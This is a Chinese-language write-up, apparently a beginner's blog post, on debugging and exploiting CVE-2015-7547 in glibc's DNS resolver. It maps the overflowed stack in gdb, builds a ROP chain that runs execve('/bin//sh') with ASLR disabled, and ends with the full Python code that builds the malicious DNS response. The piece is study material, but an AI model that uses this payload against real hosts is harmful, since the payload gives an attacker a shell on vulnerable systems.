这段时间一直在学习Linux漏洞攻防,看了很多大神的文章,比如蒸米大神在drops发表的系列,还有google到的一些paper等,受益匪浅。这里也给其它对Pwn感兴趣的同学推荐 《海枫的专栏》 ,是我的一位大腿学长推荐给我入门用的,非常nice!
当然了对于我这种Pwn新手来说,光看大神的文章是不够的,在看了k0师傅还有知识库上mrh大神的7547调试后,自己尝试动手去调试7547这个洞,才更深刻明白这个洞的成因及原理,同时为了给ROP技能加技能点,也尝试对CVE-2015-7547这个洞自己编写EXP去完成简单利用。
本文分两部分,第一部分写在编写exp之前如何劫持EIP,对栈空间布局的摸索。第二部分介详细绍在这个漏洞下如何编写ROP链来打开一个shell。
第一次在乌云投稿,仍有很多不足之处,还请各位大牛们多多批评指点!!!
这个漏洞分析及如何搭建测试环境k0师傅在seebug上以及mrh大神在drops的文章都写的非常详细,在下面参考中附上了原文地址。我就站在巨人的肩膀上写一些自己在7547分析上的一些环节。本文的重点是后续如何去编写列用exp,为了编写exp在调试中需要弄清楚很多事情,包括劫持eip的位置,栈空间布局等。下面我们就一一道来。
谷歌给的POC很长,运行POC后gdb调试,追寻漏洞出发点。
根据漏洞触发流程,在阅读源代码后,我们分别对以下函数下断
#!bash $b _nss_dns_gethostbyname4_r (/opt/glibc-2.20/resolv/res_dns/dns-host.c) $b __libc_res_nsearch (/opt/glibc-2.20/resolv/res_query.c) $b __libc_res_nquery (/opt/glibc-2,20/resolv/res_query.c) $b __libc_res_nsend (/opt/glibc-2,20/resolv/res_send.c) $b send_vc (/opt/glibc-2,20/resolv/res_send.c)
后面是源码位置,方便大家阅读。
在send_vc停下后,我们用bt看下调用栈:
一切正常,finish完成此函数,发现poc窗口发送了请求,同时再看栈段发现
在send_vc源码中,主要问题出现在这里
结束send_vc后,通过单步调试n,锁定在nquery中这几行的
我们知道了第二次POC发送的数据才是造成溢出的关键所在,google的验证POC中第二次发送的数据加上了2300个B,也就是我们后续编写利用exp大施拳脚的地方
我们知道,想劫持程序流程就要去劫持EIP,劫持EIP就要找ret。所以我们首先要弄清整个的栈布局。
我们在gethostbyname4_r函数中运行完分配空间这行代码后
直接打印这个变量
这个就是我们2300个B的所在的起始位置,我们溢出后来看一下
这也就是我们的栈顶,那么返回地址在哪儿呢?只要在gethostbyname4_r中在分配这2048之前打印下esp就知道啦
剪头指向的就是我们要劫持的EIP处。
目前已知的栈空间如下
中间那堆????是否要弄清,我们来做个试验,发送小于(2048 + 108 )2156 个B,在不覆盖Ret的情况下,程序能继续执行吗?
修改poc,发送2150个B,run
发型程序并没有继续中断,这说明栈空间中的“????”区域还是有要用的参数的,这个大坑就需要慢慢来填了………
这里有一点要注意,我们上面这个图中栈的地址是gdb调试环境,和真实环境是不一样的,但是栈的布局和真实环境是一样的,所以我们只需要在真实环境下看下dump下来的core文件找到栈头的起始地址,再根据差值计算其他的就可以了。
发现真实环境下的栈顶为0xbfffe240,与gdb下的0xbfffe220差了0x20。
继续去探查栈空间
我们可以看到停在这一行
再看nquery源代码可发现
此处有对hp和hp2的非零校验,
我们现在要找到hp和hp2所处的位置以及它们的值,finish完send_vc后,单步调试执行到assert这个语句把两个变量都打印出来
这时候我们在栈空间中去寻找
以此发现它们分别存在于0xbfffea68以及0xbfffea6c处。
以此我们可以用bfffea68减去bfffe220就可推算出和栈顶的偏移量,现在我们重新构造POC,将该位置处的hp和hp2的值就赋在上面
但依然退出未继续执行,还得继续探寻这段栈空间。
我们在gethostbyname4_r源码中可以看到
这段代码用来检测是否在整个函数执行过程中,申请了新的栈空间。根据源代码以及调试过程,这个ans2p就是我们之前的hp2,这个在通过了之前的nquery中的非零验证,但此处的free依然会出错,所以我们不能让if(ans2p_malloced)这个条件成立,那么我们就要找这个ans2p_malloced是存在什么位置的,并把它置0.
看源代码
在看源代码的时候看到之前下断点的函数的参数就有ans2p_malloced等,我们只要在函数暂停的时候直接看它传进去的参数就好。再次修改POC为正常,然后调试
可以很清楚的看到gdb调试态下,ans2p_malloced以及其它参数在栈中的地址。
说到这儿就有点乱了,现在我们再来画出我们的栈结构,以方便各位看管参阅:
根据栈布局我们再次修改POC,然后run
然后但是此时host_buffer到ret这段栈空间我们还没有摸清,是否可以直接覆盖掉呢?我们先尝试用B覆盖掉看看能不能正常执行,修改POC,run
依然报错,看来这段地址上的参数还是有用的,继续在正常情况下查看栈中这些值都是什么。
分别指出了hp和ret中间的这些参数。虽然不全知道这7个数都是干啥的(最后一个是ebp),但是直接把他们加进POC。发现程序可正常运行=。=
其实后面还有一个坑:(我们在后面exp编写的时候再说
同时看下我们开启的防护
由于能力有限,不知道怎么泄露基址,所以没有开启ASLR,通过ROP的方式绕过DEP,写这条ROP链非常有意思,碰上了件很神奇的事,完全无法解释,但索性想了个法子给绕过去了:)
下面我们开始年轻人的ROP链编写
很简单,我们就是要在劫持程序流程后执行这么一条命令“execve(“/bin/sh”,argv_rc, envp_rc)”
其中后面两个参数都为0即可。
在执行这条系统调用的时候,我们要知道Linux把这几个参数分别存在ebx, ecx, edx。所以我们构造这样的栈环境,在int 0x80时:
同时我们要知道execve()的系统调用号
要吧eax的值为11也就是0xb。
所以我们的ROP链将围绕设定上述环境展开!
在编写ROP链之前我们先要查看程序都调用了哪些库,他们的起始地址是多少
#!bash $ps -aux | grep client $cat /proc/xxxx/maps
Xxxx就是PID,我们选择libc-2.20.so和ld-2.21.so
它们可执行段的起始地址分别是b7e37000和b7fdc000。
首先我们将把“/bin/sh”写入一个可读地址,这里要注意一点,因为”/bin”就一定达到4字节,所以要把它们分开写到两个连续的4字节地址,同时“/sh”中有00,会截断后面的语句,所以我们把它换成等效的“//sh”。
找一个可读段,“.data”段当然是我们的不二之选
.data的起始地址:0x0804a028就非常合适,+4以及+8都不存在00。
所以我们构造如下语句:
#!bash pop ecx; pop eax; ret; /bin 0x0804a028 mov [eax],ecx; ret; pop ecx; pop eax; ret; //sh 0x0804a02c mov [eax],ecx; ret;
我们使用自动化ROPgadgets搜索工具ropeme搜索我们想要的指令,打开ropshell,先用generate分析libc-2.20.so这个库
然后直接search我们需要的gadgets
每一条指令前面的是其在库中的偏移地址,通过之前记录的libc的基地址加上偏移地址,算出真实地址。就不一条条演示了,熟练使用calc:)
然后就是把ecx和edx赋值,由于之前我们在.data~.data+4存了我们的“/bin//sh”,我们可以看看.data+8地址上是啥:
非常完美,于是我们编写如下语句
#!bash pop ecx; pop edx; ret; 0x0804a030 0x0804a030
然后把“/bin//sh”的地址传入ebx
#!bash pop ebx; pop edx; ret; 0x0804a028 0x0804a030
由于我搜到的是ebx和edx连着pop,要是能搜到只pop ebx的当然也很好!
环境已经调的差不多了,最后开启系统调用,语句如下
#!bash xor eax,eax; ret; add eax,0xb; ret; int 0x80; ret;
到此为止我们的shellcode为:
#!bash pop ecx; pop eax; ret; /bin 0x0804a028 mov [eax],ecx; ret; pop ecx; pop eax; ret; //sh 0x0804a02c mov [eax],ecx; ret; pop ecx; pop edx; ret; 0x0804a030 0x0804a030 pop ebx; pop edx; ret; 0x0804a028 0x0804a030 xor eax,eax; ret; add eax,0xb; ret; int 0x80; ret;
我们通过ropeme计算出他们的地址后,写入POC测试:
发现问题,程序流程为成功劫持。
Bt查看回溯,发现在gaih_getanswer处的几个参数怎么是我们的rop中的语句呢
我们这几条语句都被当做参数传了
我们再次修改POC为正常,再次调试程序
我们正确执行这行之后,查看栈中参数
我们从EIP位置往后数7个,这7个参数会被传入gaih_getanswer,所以在ret地址之后的栈空间布局如下:
现在栈空间布局就非常明了了,再看源代码
为了跳过这7个参数,我想到的版发是在原来Ret addr位置中的指令直接去修改esp
#!bash add esp,0x1c; ret;
好了,再度修改POC,run
终于,程序执行到了我们的ROP! 但是此处要注意,在本该是传“//sh”的位置,却传的是‘.’,刚开始以为是peda的错,后来尝试修改POC中的//sh为其他,都是这个“.”,完全不知道为什么,直到最后系统调用时依然如此
这个坑坑了我半天……最后多次调试后发现只有在第一次传字符串后的第4行指令处出现问题,到现在依然不知道为什么出现这么奇葩的栈环境,最后自己无奈想了个法子,把原来的ROP变成了以下这种方式,成功绕过=。=
#!bash pop ecx; pop eax; ret; /bin 0x0804a028 mov [eax],ecx; ret; pop eax; ret /bin pop ecx; pop eax; ret; //sh 0x0804a02c mov [eax],ecx; ret;
最终修改POC如下
#!python if data2: data = '' data += dw(id2) data += 'B' * (2106) data += dw(0) * 2 data += 'B' *(8) data += struct.pack('<I',0xbfffe220) data += struct.pack('<I',0x0804c3a8) data += struct.pack('<I',0x00000004) data += struct.pack('<I',0xbfffea70) data += struct.pack('<I',0Xb7f8351a) data += struct.pack('<I',0xb7fd3000) data += struct.pack('<I',0xb7e24314) data += struct.pack('<I',0x00000420) data += struct.pack('<I',0xbfffefd8) data += struct.pack('<I',0xb7e4e667) data += struct.pack('<I',0x08048653) data += struct.pack('<I',0xbfffefc8) data += struct.pack('<I',0xbfffeac0) data += struct.pack('<I',0x00000420) data += struct.pack('<I',0xbfffefc4) data += struct.pack('<I',0xbfffefb0) data += struct.pack('<I',0x00000000) data += struct.pack('<I',0xb7f18d91) data += '/bin' data += struct.pack('<I',0x0804a028) data += struct.pack('<I',0xb7e6023f) data += struct.pack("<I",0xb7e59848) data += '/bin' data += struct.pack('<I',0xb7f18d91) data += '//sh' data += struct.pack('<I',0x0804a02C) data += struct.pack('<I',0xb7e6023f) data += struct.pack('<I',0xb7e6099b) data += struct.pack('<I',0x0804a030) data += struct.pack('<I',0x0804a030) data += struct.pack('<I',0xb7f20f0a) data += struct.pack('<I',0x0804a028) data += struct.pack('<I',0x0804a030) data += struct.pack('<I',0xb7eaa424) data += struct.pack('<I',0xb7f66756) data += struct.pack('<I',0xb7fdca70)
运行效果:
完成
由于我是今年年初才开始接触二进制,还在不断学习中,和诸多大牛还差的很远,感谢k0师傅对我的指点,下一步要尝试调一个堆相关的CVE以及x64下的调试:)
继续努力ing!